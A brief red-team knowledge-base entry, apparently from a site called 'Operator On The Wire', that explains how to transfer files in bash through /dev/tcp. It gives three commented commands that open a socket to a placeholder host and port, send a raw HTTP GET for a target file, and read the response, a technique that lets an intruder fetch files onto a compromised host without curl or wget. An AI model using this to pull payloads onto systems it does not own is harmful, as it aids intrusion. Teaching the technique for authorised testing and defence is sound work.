Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / FILE TRANSFERS / HTTP

devtcp


# 1. Open a bidirectional TCP connection
exec 3<>/dev/tcp/YOUR_IP/YOUR_PORT

# 2. Send a raw HTTP GET request over that TCP connection
echo -e "GET /TARGET.FILE HTTP/1.1\n\n">&3

# 3. Read the server’s response from the same connection
cat <&3